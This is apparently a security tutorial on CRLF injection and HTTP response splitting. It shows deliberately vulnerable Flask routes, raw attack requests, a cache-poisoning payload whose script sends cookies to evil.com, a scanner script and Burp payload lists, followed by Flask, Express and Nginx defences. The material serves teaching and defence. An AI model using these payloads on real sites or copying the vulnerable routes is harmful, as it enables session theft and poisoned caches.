# CRLF Injection (HTTP Response Splitting)

from flask import Flask, request, make_response

app = Flask(__name__)

@app.route('/set-lang')
def set_language():
    # User chooses preferred language
    lang = request.args.get('lang', 'en')

    response = make_response('Language set')

    # VULNERABLE: User input directly in header
    response.headers['Content-Language'] = lang

    return response

GET /set-lang?lang=en%0d%0aSet-Cookie:%20admin=true HTTP/1.1
Host: vulnerable-site.com

HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: admin=true
Content-Type: text/html

Language set

@app.route('/redirect')
def redirect_page():
    url = request.args.get('url')

    # VULNERABLE: No validation of URL
    response = make_response('', 302)
    response.headers['Location'] = url

    return response

GET /redirect?url=https://safe.com%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1

url=https://safe.com\r\n\r\n<script>alert(document.cookie)</script>

HTTP/1.1 302 Found
Location: https://safe.com

<script>alert(document.cookie)</script>

# Vulnerable logging header
@app.route('/search')
def search():
    query = request.args.get('q')

    # VULNERABLE: Sets custom header with user input
    response = make_response(render_template('results.html', query=query))
    response.headers['X-Search-Query'] = query

    # This response is cached for 1 hour!
    response.headers['Cache-Control'] = 'public, max-age=3600'

    return response

GET /search?q=laptop%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>/*%20Malicious%20JS%20*/%20location.href='http://evil.com/steal?cookie='+document.cookie</script> HTTP/1.1

HTTP/1.1 200 OK
X-Search-Query: laptop
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>location.href='http://evil.com/steal?cookie='+document.cookie</script>

import requests
from urllib.parse import quote

def test_crlf_injection(target_url, param_name):
    """Test for CRLF injection vulnerabilities"""

    # CRLF encoding variations
    crlf_encodings = [
        '%0d%0a',      # Standard URL encoding
        '%0D%0A',      # Uppercase
        '\\r\\n',      # Literal
        '%E5%98%8A',   # Unicode
        '%E5%98%8D',   # Unicode
        '%0d',         # CR only
        '%0a',         # LF only
    ]

    test_payloads = []

    # 1. Header injection payloads
    for encoding in crlf_encodings:
        test_payloads.append({
            'name': 'Set-Cookie Injection',
            'payload': f'test{encoding}Set-Cookie: admin=true',
            'check': 'Set-Cookie: admin=true'
        })

        test_payloads.append({
            'name': 'Custom Header Injection',
            'payload': f'test{encoding}X-Injected: true',
            'check': 'X-Injected: true'
        })

    # 2. Response splitting payloads (double CRLF)
    for encoding in crlf_encodings:
        test_payloads.append({
            'name': 'Response Splitting (XSS)',
            'payload': f'test{encoding}{encoding}<script>alert("XSS")</script>',
            'check': '<script>alert("XSS")</script>'
        })

        test_payloads.append({
            'name': 'Response Splitting (HTML)',
            'payload': f'test{encoding}{encoding}<h1>Injected</h1>',
            'check': '<h1>Injected</h1>'
        })

    vulnerabilities = []

    print(f"[*] Testing {target_url} parameter '{param_name}' for CRLF injection...")

    for test in test_payloads:
        try:
            # Send request
            params = {param_name: test['payload']}
            response = requests.get(
                target_url,
                params=params,
                timeout=5,
                allow_redirects=False
            )

            # Check if injection successful
            # 1. Check headers
            for header_name, header_value in response.headers.items():
                if test['check'].lower() in f"{header_name}: {header_value}".lower():
                    vulnerabilities.append({
                        'type': test['name'],
                        'payload': test['payload'],
                        'severity': 'HIGH',
                        'evidence': f"{header_name}: {header_value}"
                    })
                    print(f"[!] VULNERABLE: {test['name']} - Found in headers!")

            # 2. Check response body
            if test['check'] in response.text:
                vulnerabilities.append({
                    'type': test['name'],
                    'payload': test['payload'],
                    'severity': 'CRITICAL',
                    'evidence': 'Injected content in response body'
                })
                print(f"[!] CRITICAL: {test['name']} - Response splitting successful!")

        except requests.exceptions.RequestException as e:
            print(f"[-] Error testing payload: {e}")

    return vulnerabilities

# Test your application
vulns = test_crlf_injection(
    'https://example.com/redirect',
    'url'  # Parameter name
)

if vulns:
    print(f"\n[!] Found {len(vulns)} CRLF injection vulnerabilities!")
    for vuln in vulns:
        print(f"  [{vuln['severity']}] {vuln['type']}")
        print(f"      Payload: {vuln['payload']}")
        print(f"      Evidence: {vuln['evidence']}")
else:
    print("\n[+] No CRLF injection vulnerabilities detected")

# Burp Intruder - CRLF injection payloads

GET /redirect?url=§https://example.com§ HTTP/1.1
Host: target.com

# Payloads:
https://example.com%0d%0aSet-Cookie: admin=true
https://example.com%0D%0AX-Injected: true
https://example.com%0d%0a%0d%0a<script>alert('XSS')</script>
https://example.com%E5%98%8A%E5%98%8AX-Test: injected
https://example.com\r\nSet-Cookie: test=1
https://example.com%0aX-Header: value

from flask import Flask, request, make_response, abort
import re
from urllib.parse import urlparse

app = Flask(__name__)

def remove_crlf(value):
    """Remove all CRLF characters from input"""
    if not value:
        return value

    # Remove CR and LF characters
    cleaned = value.replace('\r', '').replace('\n', '')

    # Also remove various encoded versions
    cleaned = cleaned.replace('%0d', '').replace('%0D', '')
    cleaned = cleaned.replace('%0a', '').replace('%0A', '')

    # Remove Unicode CRLF variants
    cleaned = cleaned.replace('\u000d', '').replace('\u000a', '')

    return cleaned

def validate_url(url):
    """Validate URL and ensure no CRLF"""
    if not url:
        return False

    # Remove CRLF first
    url = remove_crlf(url)

    # Validate URL structure
    try:
        parsed = urlparse(url)

        # Must have scheme and netloc
        if not parsed.scheme or not parsed.netloc:
            return False

        # Only allow http/https
        if parsed.scheme not in ['http', 'https']:
            return False

        # Check for remaining dangerous characters
        dangerous = ['\r', '\n', '\x00', '\x0d', '\x0a']
        for char in dangerous:
            if char in url:
                return False

        return True

    except Exception:
        return False

@app.route('/redirect')
def safe_redirect():
    """Secure redirect with CRLF protection"""
    url = request.args.get('url', '')

    # Validate URL
    if not validate_url(url):
        abort(400, "Invalid URL")

    # Remove any CRLF characters
    clean_url = remove_crlf(url)

    response = make_response('', 302)
    response.headers['Location'] = clean_url

    return response

const express = require('express');
const app = express();

function removeCRLF(value) {
  if (!value) return value;

  // Remove all forms of CRLF
  return value
    .replace(/\r/g, '')
    .replace(/\n/g, '')
    .replace(/%0d/gi, '')
    .replace(/%0a/gi, '')
    .replace(/\\r/g, '')
    .replace(/\\n/g, '')
    .replace(/\u000d/g, '')
    .replace(/\u000a/g, '');
}

function validateURL(url) {
  try {
    // Remove CRLF first
    url = removeCRLF(url);

    const parsed = new URL(url);

    // Only allow http/https
    if (!['http:', 'https:'].includes(parsed.protocol)) {
      return false;
    }

    // Check for dangerous characters
    const dangerous = ['\r', '\n', '\x00'];
    for (const char of dangerous) {
      if (url.includes(char)) {
        return false;
      }
    }

    return true;

  } catch (error) {
    return false;
  }
}

app.get('/redirect', (req, res) => {
  const url = req.query.url || '';

  // Validate URL
  if (!validateURL(url)) {
    return res.status(400).send('Invalid URL');
  }

  // Remove CRLF and redirect
  const cleanURL = removeCRLF(url);
  res.redirect(302, cleanURL);
});

# Nginx configuration to prevent CRLF injection

server {
    listen 443 ssl;
    server_name example.com;

    # Reject requests with CRLF in URI
    if ($request_uri ~* "(%0[dDaA]|\\r|\\n)") {
        return 400;
    }

    # Reject requests with CRLF in query parameters
    if ($args ~* "(%0[dDaA]|\\r|\\n)") {
        return 400;
    }

    # Security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-XSS-Protection "1; mode=block" always;

    location / {
        proxy_pass http://app_backend;

        # Don't pass through malicious headers
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;

        # Validate response headers from backend
        # Nginx automatically rejects responses with invalid headers
    }
}